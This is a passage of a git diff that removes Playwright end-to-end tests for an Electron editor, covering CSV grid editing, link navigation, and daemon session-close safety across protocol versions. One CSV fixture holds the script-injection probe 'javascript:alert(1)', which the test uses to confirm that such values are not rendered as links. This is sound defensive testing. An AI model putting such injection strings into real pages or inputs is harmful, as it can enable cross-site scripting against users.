draft.includes('Cancelled') - ) - ) - ) - .toBe(false) - await beta.dblclick() - await input.fill('Beta updated') - // Switch directly while the cell owns focus; the pending value must reach Source. - await orcaPage.getByRole('radio', { name: 'Source', exact: true }).click() - await expect(orcaPage.locator('.monaco-editor')).toBeVisible() - await expect - .poll(() => - orcaPage.evaluate(() => - Object.values(window.__store?.getState().editorDrafts ?? {}).some((draft) => - draft.includes('Beta updated') - ) - ) - ) - .toBe(true) - await orcaPage.getByRole('radio', { name: 'Table', exact: true }).click() - await expect(grid.getByRole('gridcell', { name: 'Beta updated', exact: true })).toBeVisible() - const separator = orcaPage.getByRole('separator', { name: 'Resize column 3', exact: true }) - const initialWidth = Number(await separator.getAttribute('aria-valuenow')) - await separator.press('Shift+ArrowRight') - const resized = String(initialWidth + 40) - await expect(separator).toHaveAttribute('aria-valuenow', resized) - await orcaPage.getByRole('radio', { name: 'Source', exact: true }).click() - await orcaPage.getByRole('radio', { name: 'Table', exact: true }).click() - await expect(separator).toHaveAttribute('aria-valuenow', resized!) - await separator.press('Home') - await grid.getByRole('gridcell', { name: 'Beta updated', exact: true }).click() - await orcaPage.getByRole('button', { name: 'Sort', exact: true }).click() - await orcaPage - .getByRole('menuitem', { name: 'Sort selected column ascending', exact: true }) - .click() - await expect(grid.getByRole('row').nth(1)).toContainText('Alpha') - await orcaPage.getByRole('textbox', { name: 'Filter rows', exact: true }).fill('Alpha') - await grid.getByRole('gridcell', { name: '10', exact: true }).dblclick() - await input.fill('11') - await input.press('Enter') - await orcaPage.getByRole('textbox', { name: 'Filter rows', exact: true }).fill('') - await grid.getByRole('gridcell', { name: 'Alpha', exact: true }).click() - await grid.press('Shift+ArrowRight') - await expect(grid.locator('[aria-selected="true"]')).toHaveCount(2) - // DOM clipboard events exercise range handling without replacing the user's OS clipboard. - const clipboard = await grid.evaluate((element) => { - const copied = new DataTransfer() - element.dispatchEvent( - new ClipboardEvent('copy', { bubbles: true, cancelable: true, clipboardData: copied }) - ) - const pasted = new DataTransfer() - pasted.setData('text/plain', 'Alpha renamed\t12') - element.dispatchEvent( - new ClipboardEvent('paste', { bubbles: true, cancelable: true, clipboardData: pasted }) - ) - return copied.getData('text/plain') - }) - expect(clipboard).toBe('Alpha\t11') - await expect(grid.getByRole('gridcell', { name: '12', exact: true })).toBeVisible() - await orcaPage.getByRole('button', { name: 'Save', exact: true }).click() - const expected = - '\ufeffName,Score,Description\r\nBeta updated,2,"Original text"\r\nAlpha renamed,12,Second record\r\n' - await expect.poll(() => readFileSync(filePath, 'utf8')).toBe(expected) - await orcaPage.screenshot({ path: testInfo.outputPath('csv-table-editing-after.png') }) - if ( - process.env.ORCA_E2E_FORCE_HEADFUL !== '1' && - testInfo.project.metadata.orcaHeadful !== true - ) { - expect( - await electronApp.evaluate(({ BrowserWindow }) => - BrowserWindow.getAllWindows().some((window) => window.isVisible()) - ) - ).toBe(false) - } -}) - -test('CSV row and column operations preserve column widths and produce the expected file', async ({ - orcaPage, - seededRepoPath -}, testInfo) => { - const name = 'csv-structure.csv' - const filePath = path.join(seededRepoPath, name) - writeFileSync(filePath, 'First,Second,Third\nA,1,x\nB,2,y') - await orcaPage.evaluate( - async ({ filePath, name }) => { - const state = window.__store?.getState() - if (!state?.activeWorktreeId) { - throw new Error('Missing CSV workspace') - } - await state.updateSettings({ editorAutoSave: false }) - state.openFile( - { - filePath, - relativePath: name, - worktreeId: state.activeWorktreeId, - language: 'plaintext', - mode: 'edit' - }, - { preview: false } - ) - }, - { filePath, name } - ) - const grid = orcaPage.getByTestId('csv-grid') - await expect(grid).toHaveAttribute('role', 'grid') - await grid.getByRole('gridcell', { name: '1', exact: true }).click() - const secondWidth = orcaPage.getByRole('separator', { name: 'Resize column 2', exact: true }) - await secondWidth.press('ArrowRight') - const width = await secondWidth.getAttribute('aria-valuenow') - await orcaPage.getByRole('button', { name: 'Columns', exact: true }).click() - await orcaPage.getByRole('menuitem', { name: 'Move column left', exact: true }).click() - await expect(grid.getByRole('columnheader').nth(1)).toHaveText('Second') - await expect( - orcaPage.getByRole('separator', { name: 'Resize column 1', exact: true }) - ).toHaveAttribute('aria-valuenow', width!) - await orcaPage.getByRole('button', { name: 'Columns', exact: true }).click() - await orcaPage.getByRole('menuitem', { name: 'Insert column after', exact: true }).click() - await expect(grid).toHaveAttribute('aria-colcount', '5') - await grid.getByRole('columnheader', { name: 'Column 4', exact: true }).click() - await orcaPage.getByRole('button', { name: 'Columns', exact: true }).click() - await orcaPage.getByRole('menuitem', { name: 'Delete selected columns', exact: true }).click() - await expect(grid).toHaveAttribute('aria-colcount', '4') - await grid.getByRole('gridcell', { name: 'A', exact: true }).click() - await orcaPage.getByRole('button', { name: 'Rows', exact: true }).click() - await orcaPage.getByRole('menuitem', { name: 'Insert row below', exact: true }).click() - await expect(grid).toHaveAttribute('aria-rowcount', '4') - await grid.locator('[data-csv-row="2"][data-csv-column="0"]').click() - await orcaPage.getByRole('button', { name: 'Rows', exact: true }).click() - await orcaPage.getByRole('menuitem', { name: 'Delete selected rows', exact: true }).click() - await expect(grid).toHaveAttribute('aria-rowcount', '3') - await orcaPage.getByRole('button', { name: 'Save', exact: true }).click() - await expect.poll(() => readFileSync(filePath, 'utf8')).toBe('Second,First,Third\n1,A,x\n2,B,y') - await orcaPage.screenshot({ path: testInfo.outputPath('csv-structure-after.png') }) -}) - -test('keyboard selection reaches and edits a cell beyond both virtualized viewports', async ({ - orcaPage, - seededRepoPath -}, testInfo) => { - const filePath = path.join(seededRepoPath, 'editable-wide.csv') - const header = Array.from({ length: 1024 }, (_, column) => `column-${column}`).join(',') - const row = Array.from({ length: 1024 }, (_, column) => `v${column}`).join(',') - writeFileSync(filePath, `${header}\n${`${row}\n`.repeat(100)}`) - await orcaPage.evaluate( - async ({ filePath }) => { - const state = window.__store?.getState() - if (!state?.activeWorktreeId) { - throw new Error('Missing CSV workspace') - } - await state.updateSettings({ editorAutoSave: false }) - state.openFile( - { - filePath, - relativePath: 'editable-wide.csv', - worktreeId: state.activeWorktreeId, - language: 'plaintext', - mode: 'edit' - }, - { preview: false } - ) - }, - { filePath } - ) - const grid = orcaPage.getByTestId('csv-grid') - await expect(grid).toHaveAttribute('aria-colcount', '1025') - // Dispatch on the clipped cell without Playwright scrolling it into view first. - const clipped = await grid.evaluate((element) => { - const viewport = element.closest('[data-testid="csv-scroll"]') - if (!viewport) { - throw new Error('Missing CSV scroll surface') - } - const edge = viewport.getBoundingClientRect().right - const cell = [...element.querySelectorAll('[data-csv-row="1"]')].find((cell) => { - const bounds = cell.getBoundingClientRect() - return bounds.left < edge - 4 && bounds.right > edge + 4 - }) - if (!cell) { - throw new Error('Missing clipped cell') - } - const column = Number(cell.getAttribute('data-csv-column')) - cell.dispatchEvent(new MouseEvent('dblclick', { bubbles: true })) - return { column, scrollLeft: viewport.scrollLeft } - }) - const clippedInput = orcaPage.getByRole('textbox', { - name: `Edit row 2, column ${clipped.column + 1}`, - exact: true - }) - await expect(clippedInput).toBeFocused() - expect(await orcaPage.getByTestId('csv-scroll').evaluate((element) => element.scrollLeft)).toBe( - clipped.scrollLeft - ) - await orcaPage.keyboard.type('z') - await expect(clippedInput).toHaveValue(`zv${clipped.column}`) - await expect(clippedInput).toBeFocused() - await orcaPage.screenshot({ path: testInfo.outputPath('csv-clipped-cell-editor.png') }) - await orcaPage.getByTestId('csv-scroll').evaluate((element) => { - element.scrollTop = 2000 - }) - await expect(clippedInput).toHaveCount(0) - expect( - await orcaPage.getByTestId('csv-scroll').evaluate((element) => element.scrollTop) - ).toBeGreaterThan(0) - await orcaPage.getByTestId('csv-scroll').evaluate((element) => { - element.scrollTop = 0 - }) - await grid.getByRole('gridcell', { name: 'v0', exact: true }).first().click() - const modifier = await orcaPage.evaluate(() => - navigator.userAgent.includes('Mac') ? 'Meta' : 'Control' - ) - await grid.press(`${modifier}+End`) - const last = grid.locator('[data-csv-row="100"][data-csv-column="1023"]') - await expect(last).toBeVisible() - await expect(last).toHaveAttribute('data-active', 'true') - await grid.press('F2') - const input = orcaPage.getByRole('textbox', { name: 'Edit row 101, column 1024', exact: true }) - await input.fill('edited-final-cell') - await input.press('Enter') - await expect(last).toHaveText('edited-final-cell') - expect(await grid.getByRole('columnheader').count()).toBeLessThan(40) - expect(await grid.getByRole('row').count()).toBeLessThan(80) - await orcaPage.getByRole('button', { name: 'Save', exact: true }).click() - await expect - .poll(() => readFileSync(filePath, 'utf8').split('\n').at(-2)?.split(',').at(-1)) - .toBe('edited-final-cell') - expect(readFileSync(filePath, 'utf8').split('\n')[1]?.split(',')[clipped.column]).toBe( - `zv${clipped.column}` - ) -}) - -test('autosave preserves an active cell while saving the previously committed draft', async ({ - orcaPage, - seededRepoPath -}, testInfo) => { - const filePath = path.join(seededRepoPath, 'csv-autosave.csv') - writeFileSync(filePath, 'Name,Value\nA,1\nB,2') - await orcaPage.evaluate( - async ({ filePath }) => { - const state = window.__store?.getState() - if (!state?.activeWorktreeId) { - throw new Error('Missing CSV workspace') - } - await state.updateSettings({ editorAutoSave: true, editorAutoSaveDelayMs: 1000 }) - state.openFile( - { - filePath, - relativePath: 'csv-autosave.csv', - worktreeId: state.activeWorktreeId, - language: 'plaintext', - mode: 'edit' - }, - { preview: false } - ) - }, - { filePath } - ) - const grid = orcaPage.getByTestId('csv-grid') - await grid.getByRole('gridcell', { name: 'A', exact: true }).dblclick() - const input = orcaPage.getByRole('textbox', { name: /Edit row/ }) - await input.fill('committed') - await input.press('Enter') - await grid.getByRole('gridcell', { name: 'B', exact: true }).dblclick() - await input.fill('still typing') - await expect.poll(() => readFileSync(filePath, 'utf8')).toBe('Name,Value\ncommitted,1\nB,2') - await expect(input).toBeFocused() - await expect(input).toHaveValue('still typing') - await expect - .poll(() => - orcaPage.evaluate(() => window.__store?.getState().openFiles.some((file) => file.isDirty)) - ) - .toBe(true) - await orcaPage.screenshot({ path: testInfo.outputPath('csv-autosave-keeps-input.png') }) - await input.press('Enter') - await expect - .poll(() => readFileSync(filePath, 'utf8')) - .toBe('Name,Value\ncommitted,1\nstill typing,2') -}) diff --git a/tests/e2e/csv-url-links.spec.ts b/tests/e2e/csv-url-links.spec.ts deleted file mode 100644 index 97ebaed50da..00000000000 --- a/tests/e2e/csv-url-links.spec.ts +++ /dev/null @@ -1,155 +0,0 @@ -import { writeFileSync } from 'node:fs' -import path from 'node:path' -import { expect, test } from './helpers/orca-app' - -test('dense CSVs below 1 MiB remain visible and shrinking a later row window recovers', async ({ - orcaPage, - seededRepoPath, - electronApp -}, testInfo) => { - const name = 'dense-small.csv' - const filePath = path.join(seededRepoPath, name) - writeFileSync(filePath, `id\n${'\n'.repeat(600_000)}`) - await orcaPage.evaluate( - ({ name, filePath }) => { - const state = window.__store?.getState() - if (!state?.activeWorktreeId) { - throw new Error('Missing dense CSV workspace') - } - state.openFile( - { - filePath, - relativePath: name, - worktreeId: state.activeWorktreeId, - language: 'plaintext', - mode: 'edit' - }, - { preview: false } - ) - }, - { name, filePath } - ) - await expect(orcaPage.getByTestId('csv-grid')).toHaveAttribute('aria-rowcount', '600001') - await orcaPage.getByRole('button', { name: 'Next rows' }).click() - await expect(orcaPage.getByRole('rowheader', { name: '500001', exact: true })).toBeVisible() - await orcaPage.getByTestId('csv-scroll').evaluate((element) => { - element.scrollTop = element.scrollHeight - }) - await expect(orcaPage.getByRole('rowheader', { name: '600000', exact: true })).toBeVisible() - await orcaPage.evaluate(() => { - const state = window.__store?.getState() - const file = state?.openFiles.find((file) => file.filePath.endsWith('dense-small.csv')) - if (!state || !file) { - throw new Error('Missing dense CSV tab') - } - state.setEditorDraft(file.id, 'id\nfirst\nsecond\nthird\n') - }) - await expect(orcaPage.getByTestId('csv-grid')).toHaveAttribute('aria-rowcount', '4') - await expect(orcaPage.getByRole('gridcell', { name: 'first', exact: true })).toBeVisible() - await expect(orcaPage.getByRole('gridcell', { name: 'third', exact: true })).toBeVisible() - await expect(orcaPage.getByRole('button', { name: 'Next rows' })).toHaveCount(0) - await orcaPage.screenshot({ path: testInfo.outputPath('dense-after-shrink.png') }) - if ( - process.env.ORCA_E2E_FORCE_HEADFUL !== '1' && - testInfo.project.metadata.orcaHeadful !== true - ) { - expect( - await electronApp.evaluate(({ BrowserWindow }) => - BrowserWindow.getAllWindows().some((window) => window.isVisible()) - ) - ).toBe(false) - } -}) - -test('CSV links navigate from small and paged previews without replacing the renderer', async ({ - orcaPage, - seededRepoPath, - electronApp -}, testInfo) => { - test.setTimeout(90_000) - const smallName = 'csv-links.csv' - const largeName = 'csv-links-large.csv' - // Distinct URLs: a link whose page is already open reuses that tab instead of adding one. - const urls = { - [smallName]: 'https://example.com/?from=small-csv#demo', - [largeName]: 'https://example.com/?from=large-csv#demo' - } - const content = (url: string): string => `name,url,notes\nExample,${url},javascript:alert(1)\n` - writeFileSync(path.join(seededRepoPath, smallName), content(urls[smallName])) - writeFileSync( - path.join(seededRepoPath, largeName), - content(urls[largeName]) + `Record,${urls[largeName]},${'x'.repeat(200)}\n`.repeat(6000) - ) - await orcaPage.evaluate(async () => { - await window.__store?.getState().updateSettings({ openLinksInApp: true }) - }) - for (const name of [smallName, largeName]) { - const url = urls[name] - await orcaPage.evaluate( - ({ name, filePath }) => { - const state = window.__store?.getState() - if (!state?.activeWorktreeId) { - throw new Error('Missing CSV test workspace') - } - state.openFile( - { - filePath, - relativePath: name, - worktreeId: state.activeWorktreeId, - language: 'plaintext', - mode: 'edit' - }, - { preview: false } - ) - }, - { name, filePath: path.join(seededRepoPath, name) } - ) - const link = orcaPage.getByTestId('csv-grid').getByRole('link', { name: url }).first() - await expect(link).toBeVisible({ timeout: 30_000 }) - await expect(link).toHaveAttribute('href', url) - await expect( - orcaPage - .getByTestId('csv-grid') - .locator('[data-csv-column="2"]') - .filter({ hasText: 'javascript:alert(1)' }) - .first() - ).toBeVisible() - await orcaPage.screenshot({ path: testInfo.outputPath(`${name}.png`) }) - const rendererUrl = orcaPage.url() - const tabsBefore = await orcaPage.evaluate( - () => Object.values(window.__store?.getState().browserTabsByWorktree ?? {}).flat().length - ) - if (name === largeName) { - await link.focus() - await orcaPage.keyboard.press('Enter') - } else { - await link.click() - } - await expect - .poll(() => - orcaPage.evaluate( - () => Object.values(window.__store?.getState().browserTabsByWorktree ?? {}).flat().length - ) - ) - .toBe(tabsBefore + 1) - expect( - await orcaPage.evaluate( - () => - Object.values(window.__store?.getState().browserTabsByWorktree ?? {}) - .flat() - .at(-1)?.url - ) - ).toBe(url) - expect(orcaPage.url()).toBe(rendererUrl) - } - if ( - process.env.ORCA_E2E_FORCE_HEADFUL !== '1' && - testInfo.project.metadata.orcaHeadful !== true - ) { - expect( - await electronApp.evaluate(({ BrowserWindow }) => - BrowserWindow.getAllWindows().some((window) => window.isVisible()) - ) - ).toBe(false) - } -}) diff --git a/tests/e2e/daemon-generation-legacy-close-safety.spec.ts b/tests/e2e/daemon-generation-legacy-close-safety.spec.ts deleted file mode 100644 index 4266d638832..00000000000 --- a/tests/e2e/daemon-generation-legacy-close-safety.spec.ts +++ /dev/null @@ -1,502 +0,0 @@ -import { fork, type ChildProcess } from 'node:child_process' -import { writeFileSync } from 'node:fs' -import path from 'node:path' -import { expect, test, type TestInfo } from '@playwright/test' -import { PROTOCOL_VERSION } from '../../src/main/daemon/protocol/daemon-protocol-version' -import { - cleanupDaemonGenerationFixtures, - createDaemonGenerationRuntime, - launchDaemonGeneration, - spawnGenerationCanary, - type DaemonGeneration, - type DaemonGenerationRuntime, - type GenerationCanary -} from './helpers/daemon-generation-safety-fixtures' -import { - processIdentityLiveness, - recordProcessIdentity, - recordProcessTree, - terminateRecordedTree, - waitForCondition -} from './helpers/daemon-generation-processes' - -type LegacyCloseReport = { - capableInitiator: { - clientKind: 'runtime' - clientId: string - pairedDeviceId: string - connectionId: string - clientCapabilities: string[] - callSite: string - wireReason: null - } - legacyInitiator: { - clientKind: 'runtime' - clientId: string - pairedDeviceId: string - connectionId: string - callSite: string - wireReason: null - } - observer: { - clientKind: 'runtime' - clientId: string - pairedDeviceId: string - connectionId: string - requestCount: number - closeRequestCount: number - } - observerBefore: Record[] - observerAfterCapable: Record[] - observerAfter: Record[] - postClosePing: Record - calls: Record[] - capableResponses: Record[] - legacyResponses: Record[] -} - -function killEvents(generation: DaemonGeneration, sessionId: string): Record[] { - return generation - .logEvents() - .filter((event) => event.event === 'session-killed' && event.sessionId === sessionId) -} - -function launchLegacyCloseClient(options: { - runtime: DaemonGenerationRuntime - generations: readonly DaemonGeneration[] - capableCanaries: readonly GenerationCanary[] - legacyCanaries: readonly GenerationCanary[] -}): { - child: ChildProcess - ready: Promise - finish(): Promise - output(): string -} { - const { runtime, generations, capableCanaries, legacyCanaries } = options - const configPath = path.join(runtime.rootDir, 'legacy-close-client-config.json') - writeFileSync( - configPath, - `${JSON.stringify({ - generations: generations.map((generation) => ({ - protocolVersion: generation.protocolVersion, - socketPath: generation.socketPath, - tokenPath: generation.tokenPath - })), - currentProtocolVersion: PROTOCOL_VERSION, - daemonDir: runtime.daemonDir, - historyDir: path.join(runtime.userDataDir, 'terminal-history'), - cwd: runtime.rootDir, - sessions: [...capableCanaries, ...legacyCanaries].map((canary, index) => ({ - protocolVersion: canary.generation.protocolVersion, - sessionId: canary.sessionId, - rootPid: canary.rootIdentity.pid, - worktreeId: canary.worktreeId, - tabId: `legacy-close-tab-${index + 1}`, - closeContract: index < capableCanaries.length ? 'capable' : 'legacy' - })) - })}\n` - ) - let output = '' - const child = fork(runtime.legacyCloseClientEntryPath, ['--config', configPath], { - cwd: runtime.userDataDir, - execPath: runtime.electronPath, - windowsHide: true, - env: { - ...process.env, - ELECTRON_RUN_AS_NODE: '1', - NODE_PATH: path.join(process.cwd(), 'node_modules'), - ORCA_USER_DATA_PATH: runtime.userDataDir - }, - stdio: ['ignore', 'ignore', 'pipe', 'ipc'] - }) - child.stderr?.on('data', (chunk: Buffer) => { - output = `${output}${chunk.toString('utf8')}`.slice(-32_768) - }) - const ready = new Promise((resolve, reject) => { - const timer = setTimeout( - () => reject(new Error(`Legacy close client timed out: ${output}`)), - 60_000 - ) - const settle = (callback: () => void): void => { - clearTimeout(timer) - child.off('message', onMessage) - child.off('exit', onExit) - callback() - } - const onExit = (code: number | null): void => - settle(() => reject(new Error(`Legacy close client exited with ${code}: ${output}`))) - const onMessage = (message: unknown): void => { - const payload = message as LegacyCloseReport & { type?: string; message?: string } - if (payload.type === 'error') { - settle(() => reject(new Error(payload.message ?? 'Legacy close client failed'))) - } else if (payload.type === 'legacy-close-complete') { - settle(() => resolve(payload)) - } - } - child.on('message', onMessage) - child.once('exit', onExit) - }) - return { - child, - ready, - finish: async () => { - if (!child.connected) { - const disconnected: NodeJS.ErrnoException = new Error( - 'Legacy close client IPC channel disconnected before finish handshake' - ) - disconnected.code = 'ERR_IPC_CHANNEL_CLOSED' - throw disconnected - } - await new Promise((resolve, reject) => { - child.send({ type: 'finish' }, (error) => { - if (error) { - reject(error) - return - } - resolve() - }) - }) - }, - output: () => output - } -} - -async function terminateLegacyCloseClient( - client: ReturnType, - identity: Awaited> | null -): Promise<'already-exited' | 'termination-attempted'> { - if (legacyCloseClientExited(client)) { - return 'already-exited' - } - if (identity) { - // Why: tree capture fails once the recorded root exits on its own, which is a normal exit. - const tree = await recordProcessTree(identity).catch(() => null) - if (!tree) { - return 'already-exited' - } - return (await terminateRecordedTree(tree)) ? 'termination-attempted' : 'already-exited' - } - // Why: identity capture can race with teardown; the direct child handle is the last cleanup path. - const signalled = client.child.kill('SIGKILL') - await waitForCondition( - 'forced legacy close client exit', - () => legacyCloseClientExited(client), - 5_000 - ) - return signalled ? 'termination-attempted' : 'already-exited' -} - -function legacyCloseClientExited(client: ReturnType): boolean { - return client.child.exitCode !== null || client.child.signalCode !== null -} - -function isIpcClosureError(error: unknown): boolean { - const code = (error as NodeJS.ErrnoException | null | undefined)?.code - return code === 'ERR_IPC_CHANNEL_CLOSED' || code === 'ERR_IPC_DISCONNECTED' -} - -async function finishLegacyCloseClient( - client: ReturnType -): Promise { - if (!client.child.pid || legacyCloseClientExited(client)) { - return - } - const identity = await recordProcessIdentity(client.child.pid).catch(() => null) - let finishError: unknown - let finishFailed = false - try { - await client.finish() - } catch (error) { - finishError = error - finishFailed = true - } - let forcedCleanup = false - try { - await waitForCondition('legacy close client exit', () => legacyCloseClientExited(client), 2_000) - } catch { - try { - // Why: the wait can time out while the client exits on its own; only a real termination counts. - forcedCleanup = - (await terminateLegacyCloseClient(client, identity)) === 'termination-attempted' - } catch (cleanupError) { - if (finishFailed) { - throw new AggregateError( - [finishError, cleanupError], - 'Legacy close client finish handshake and forced cleanup both failed' - ) - } - throw cleanupError - } - } - // Why: a normal client exit can close the IPC channel before the finish ack lands. - if (finishFailed && (forcedCleanup || !isIpcClosureError(finishError))) { - throw finishError - } -} - -function writeReconstruction(options: { - testInfo: TestInfo - generations: readonly DaemonGeneration[] - canaries: readonly GenerationCanary[] - report: LegacyCloseReport - capableSessionIds: ReadonlySet - legacySessionIds: ReadonlySet - before: Record - after: Record - postClosePing: Record -}): void { - const { - testInfo, - generations, - canaries, - report, - capableSessionIds, - legacySessionIds, - before, - after, - postClosePing - } = options - writeFileSync( - testInfo.outputPath('legacy-viewer-close-reconstruction.json'), - `${JSON.stringify( - { - capturedAt: new Date().toISOString(), - invariant: - 'Strict close attribution activates only for a capable authenticated viewer; legacy peers retain current-main behavior', - authoritativeBoundary: { - capable: - 'session.tabs.close -> refuseUnattributedMobileSessionTabClose -> snapshot republish', - legacy: 'session.tabs.close -> closeMobileSessionTab -> RuntimeNotifier.closeTerminalTab' - }, - capableInitiator: report.capableInitiator, - legacyInitiator: report.legacyInitiator, - observer: report.observer, - observerBefore: report.observerBefore, - observerAfterCapable: report.observerAfterCapable, - observerAfter: report.observerAfter, - requestOrder: [ - ...report.capableResponses.map((response, index) => ({ - sequence: index + 1, - contract: 'capable', - response, - call: null - })), - ...report.legacyResponses.map((response, index) => ({ - sequence: report.capableResponses.length + index + 1, - contract: 'legacy', - response, - call: report.calls[index] ?? null - })) - ], - sessions: canaries.map((canary, index) => ({ - sequence: index + 1, - closeContract: capableSessionIds.has(canary.sessionId) - ? 'capable' - : legacySessionIds.has(canary.sessionId) - ? 'legacy' - : 'control', - worktreeId: canary.worktreeId, - sessionId: canary.sessionId, - daemon: { - label: canary.generation.label, - protocolVersion: canary.generation.protocolVersion, - pid: canary.generation.identity.pid, - startedAtMs: canary.generation.identity.startedAtMs - }, - root: { - ...canary.rootIdentity, - liveBefore: before[canary.rootIdentity.pid], - liveAfter: after[canary.rootIdentity.pid] - }, - descendant: { - ...canary.descendantIdentity, - liveBefore: before[canary.descendantIdentity.pid], - liveAfter: after[canary.descendantIdentity.pid] - }, - postClosePing: postClosePing[canary.sessionId], - daemonKillEvents: killEvents(canary.generation, canary.sessionId) - })), - generations: generations.map((generation) => ({ - label: generation.label, - protocolVersion: generation.protocolVersion, - pid: generation.identity.pid - })) - }, - null, - 2 - )}\n` - ) -} - -test('close-intent negotiation preserves legacy behavior while protecting capable viewers across daemon generations', async (// oxlint-disable-next-line no-empty-pattern -- Playwright requires the fixture argument before testInfo. -{}, testInfo) => { - test.setTimeout(120_000) - const runtime = await createDaemonGenerationRuntime(testInfo) - const generations: DaemonGeneration[] = [] - const canaries: GenerationCanary[] = [] - let client: ReturnType | null = null - let assertionsComplete = false - - try { - for (const protocolVersion of [PROTOCOL_VERSION - 1, PROTOCOL_VERSION]) { - const generation = await launchDaemonGeneration({ - runtime, - label: `legacy-close-v${protocolVersion}`, - protocolVersion - }) - generations.push(generation) - canaries.push( - await spawnGenerationCanary({ - runtime, - generation, - role: 'live', - worktreeId: `legacy-close-worktree-v${protocolVersion}` - }) - ) - } - for (const generation of generations) { - canaries.push( - await spawnGenerationCanary({ - runtime, - generation, - role: 'live', - worktreeId: `legacy-compatible-worktree-v${generation.protocolVersion}` - }) - ) - } - canaries.push( - await spawnGenerationCanary({ - runtime, - generation: generations[1]!, - role: 'live', - worktreeId: 'legacy-close-unrelated-worktree' - }) - ) - const capableCanaries = canaries.slice(0, 2) - const legacyCanaries = canaries.slice(2, 4) - const controlCanary = canaries[4]! - const capableSessionIds = new Set(capableCanaries.map((canary) => canary.sessionId)) - const legacySessionIds = new Set(legacyCanaries.map((canary) => canary.sessionId)) - const identities = canaries.flatMap((canary) => [ - canary.rootIdentity, - canary.descendantIdentity - ]) - const beforeMap = await processIdentityLiveness(identities) - const before = Object.fromEntries( - identities.map(({ pid }) => [pid, beforeMap.get(pid) === true]) - ) - expect(Object.values(before).every(Boolean)).toBe(true) - - client = launchLegacyCloseClient({ - runtime, - generations, - capableCanaries, - legacyCanaries - }) - const report = await client.ready - const afterMap = await processIdentityLiveness(identities) - const after = Object.fromEntries(identities.map(({ pid }) => [pid, afterMap.get(pid) === true])) - writeReconstruction({ - testInfo, - generations, - canaries, - report, - capableSessionIds, - legacySessionIds, - before, - after, - postClosePing: report.postClosePing - }) - - expect(report.capableInitiator).toEqual({ - clientKind: 'runtime', - clientId: 'capable-viewer', - pairedDeviceId: 'capable-viewer', - connectionId: 'capable-viewer-generation-2', - clientCapabilities: ['session-tabs.close-intent.v1'], - callSite: 'capable-viewer:stale-pty-exit-cleanup', - wireReason: null - }) - expect(report.legacyInitiator).toEqual({ - clientKind: 'runtime', - clientId: 'legacy-viewer', - pairedDeviceId: 'legacy-viewer', - connectionId: 'legacy-viewer-generation-1', - callSite: 'legacy-viewer:stale-pty-exit-cleanup', - wireReason: null - }) - expect(report.observer).toEqual({ - clientKind: 'runtime', - clientId: 'current-viewer', - pairedDeviceId: 'current-viewer', - connectionId: 'observer-generation-3', - requestCount: (capableCanaries.length + legacyCanaries.length) * 3, - closeRequestCount: 0 - }) - expect(report.observerBefore).toHaveLength(capableCanaries.length + legacyCanaries.length) - expect(report.observerAfterCapable).toHaveLength(capableCanaries.length + legacyCanaries.length) - expect(report.observerAfter).toHaveLength(capableCanaries.length + legacyCanaries.length) - expect( - [...report.observerBefore, ...report.observerAfterCapable, ...report.observerAfter].every( - (response) => response.ok === true - ) - ).toBe(true) - expect( - report.observerAfterCapable.every((response, index) => { - const result = response.result as { tabs?: { ptyId?: string | null }[] } | undefined - return ( - result?.tabs?.some( - (tab) => tab.ptyId === [...capableCanaries, ...legacyCanaries][index]!.sessionId - ) === true - ) - }) - ).toBe(true) - expect(report.capableResponses).toHaveLength(capableCanaries.length) - expect( - report.capableResponses.every((response) => { - const result = response.result as Record | undefined - return ( - response.ok === true && - result?.refused === true && - result.refusalReason === 'missing-intent' && - result.snapshotRepublished === true - ) - }) - ).toBe(true) - expect(report.legacyResponses).toHaveLength(legacyCanaries.length) - expect( - report.legacyResponses.every((response) => { - const result = response.result as Record | undefined - return response.ok === true && result?.refused !== true - }) - ).toBe(true) - expect(report.calls.map((call) => call.sessionId)).toEqual( - legacyCanaries.map((canary) => canary.sessionId) - ) - for (const canary of capableCanaries) { - expect(after[canary.rootIdentity.pid]).toBe(true) - expect(after[canary.descendantIdentity.pid]).toBe(true) - expect(report.postClosePing[canary.sessionId]).toBe(true) - expect(killEvents(canary.generation, canary.sessionId)).toHaveLength(0) - } - for (const canary of legacyCanaries) { - expect(after[canary.rootIdentity.pid]).toBe(false) - expect(after[canary.descendantIdentity.pid]).toBe(false) - expect(report.postClosePing[canary.sessionId]).toBe(false) - expect(killEvents(canary.generation, canary.sessionId)).toHaveLength(1) - } - expect(after[controlCanary.rootIdentity.pid]).toBe(true) - expect(after[controlCanary.descendantIdentity.pid]).toBe(true) - expect(killEvents(controlCanary.generation, controlCanary.sessionId)).toHaveLength(0) - assertionsComplete = true - } finally { - if (client) { - await finishLegacyCloseClient(client) - } - if (!assertionsComplete) { - runtime.retainDiagnostics(generations) - } - await cleanupDaemonGenerationFixtures({ generations, canaries }) - runtime.remove() - } -}) diff --git a/tests/e2e/daemon-generation-reconnect-safety.spec.ts b/tests/e2e/daemon-generation-reconnect-safety.spec.ts deleted file mode 100644 index 77b3583858f..00000000000 --- a/tests/e2e/daemon-generation-reconnect-safety.spec.ts +++ /dev/null @@ -1,458 +0,0 @@ -import { fork, type ChildProcess } from 'node:child_process' -import { writeFileSync } from 'node:fs' -import path from 'node:path' -import { expect, test, type TestInfo } from '@playwright/test' -import { DaemonClient } from '../../src/main/daemon/transport/client/daemon-client' -import { - CLEAN_DISCONNECT_PROTOCOL_VERSION, - PROTOCOL_VERSION, - PTY_STARTUP_INGRESS_PROTOCOL_VERSION -} from '../../src/main/daemon/protocol/daemon-protocol-version' -import { - cleanupDaemonGenerationFixtures, - createDaemonGenerationRuntime, - launchDaemonGeneration, - spawnGenerationCanary, - type DaemonGeneration, - type DaemonGenerationRuntime, - type GenerationCanary -} from './helpers/daemon-generation-safety-fixtures' -import { - processIdentityLiveness, - recordProcessIdentity, - recordProcessTree, - terminateRecordedTree, - waitForCondition, - type RecordedProcessIdentity -} from './helpers/daemon-generation-processes' - -const ALL_GENERATION_PROTOCOLS = [ - ...new Set([ - 21, - 22, - 23, - CLEAN_DISCONNECT_PROTOCOL_VERSION, - PTY_STARTUP_INGRESS_PROTOCOL_VERSION, - PROTOCOL_VERSION - ]) -] -const configuredReconnectBursts = Number.parseInt( - process.env.ORCA_DAEMON_GENERATION_RECONNECT_BURSTS ?? '3', - 10 -) -const RECONNECT_BURSTS = - Number.isInteger(configuredReconnectBursts) && configuredReconnectBursts > 0 - ? configuredReconnectBursts - : 3 - -type LivenessReport = { - daemons: Record - roots: Record - descendants: Record -} - -type CloseBurstReport = { - closeAttempts: Record -} - -function generationLabel(protocolVersion: number): string { - return `generation-v${protocolVersion}` -} - -function canaryLabel(canary: 